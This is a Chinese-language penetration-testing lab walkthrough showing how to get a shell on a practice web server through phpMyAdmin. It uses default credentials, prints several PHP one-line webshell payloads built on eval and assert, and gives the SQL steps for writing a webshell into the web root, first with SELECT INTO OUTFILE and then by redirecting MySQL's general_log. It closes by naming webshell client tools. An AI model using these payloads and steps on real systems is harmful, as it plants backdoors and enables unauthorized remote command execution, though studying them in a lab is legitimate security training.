上期已经信息收集阶段已经完成,接下来是漏洞利用。
靶场思路
通过信息收集得到两个吧靶场的思路
1、http://192.168.195.33/phpmyadmin/(数据库的管理界面)
root/root
2、http://192.168.195.33/yxcms/index.php?r=admin/index/login(CMS的管理后台)
admin/123456
登录页面和用户名都有了
我们第一个思路通过phpmyadmin写入一句话木马
漏洞利用
首先登录到phpmyadmin界面
在数据库旁边的SQL选项卡中是可以执行SQL语句的。
外观设置中默认是英文,我们可以选择改成简体中文。
我们点击SQL,检查是否可以正常执行SQL语句。
发现这里可以正常执行SQL语句,可以不加分号;每执行一条命令记得要清除一下,不然会报错,因为它无法执行两条SQL语句。
select version(); //查询数据库的版本信息
phpmyadmin GetSHELL姿势大全
方法1:使用select into outfile写入shell
前提:需要知道网站目录的绝对路径
不足:常因为权限设置的问题容易失败
这里我们是知道网站的根目录的,肯定有人会问真实环境下怎么知道网站的根目录啊,真实环境之下我们使用目录枚举进行爆破,或者来自站长的工作失误导致留下了网站的备份文件,真实环境下思路很多。
我们写入一句话木马
报错了,原来是因为权限的问题,看来开这方法行不通,那我们换一个。
这里的<?php eval ($_POST[cmd]);?>,是一句话木马
什么是一句话木马? 一句话木马是一般是指一段短小精悍的恶意代码,这段代码可以用作一个代理来执行攻击者发送过来的任意指令,因其体积小、隐蔽性强、功能强大等特点,被广泛应用于渗透过程中。
我们将一句话木马写入网站,形成了WebShell。
什么是WebShell?WebShell 就是以 ASP、 PHP、 JSP 或者 CGI 等网页文件形式的一种命令执行环境,也可以将其称做是一种网页后门。
PHP木马
客户端向服务端传递参数有三种方式:GET、POST、COOKIE。
一句话木马-webshell.php举例
<?php @eval($_GET['cmd']);?><?php @eval($_POST['cmd']);?><?php assert($_COOKIE['cmd']);?>
基本的PHP用法
PHP 脚本以 <?php 开始,以 ?> 结束
<?php
//php代码
?>
方法二:利用日志GET SHELL
既然权限不够无法执行我们的SQL语句,那我们就换一种方法。
利用日志的方法
mysql 5.0版本以上会创建日志文件,可以通过修改日志的全局变量get shell。
查看日志文件的位置:
SHOW VARIABLES LIKE "%general%"
我们看到默认日志文件是没有开启的,我们知道了日志文件的位置。
那我们下一步就这个日志文件开启,并且重新指定位置。
首先把日志文件打开
然后我们重新指定一下日志文件,这个文件是指定之后自动创建的。
SET GLOBAL general_log='on'; //开启general_log
SET GLOBAL general_log_file='c:/phpStudy/www/webshell.php'; //自定义日志文件
我们在检查一下这个日志文件是否打开了,并且重新指定文件位置了。
SHOW VARIABLES LIKE "%general%"
现在我们看到这个日志文件已经处于打开状态,并且一直重新指定了位置。
我们打开Web主机看一下这个日志文件:
我们看到这已经变成了一个日志文件,我们执行一句话木马:
ok了我们直接写入成功。
select '<?php eval ($_POST["cmd"]);?>'
下面我们直接使用WebShell集成工具直接连接就可以了
WebShell集成工具有很多:
中国菜刀、蚁剑、冰蝎、哥斯拉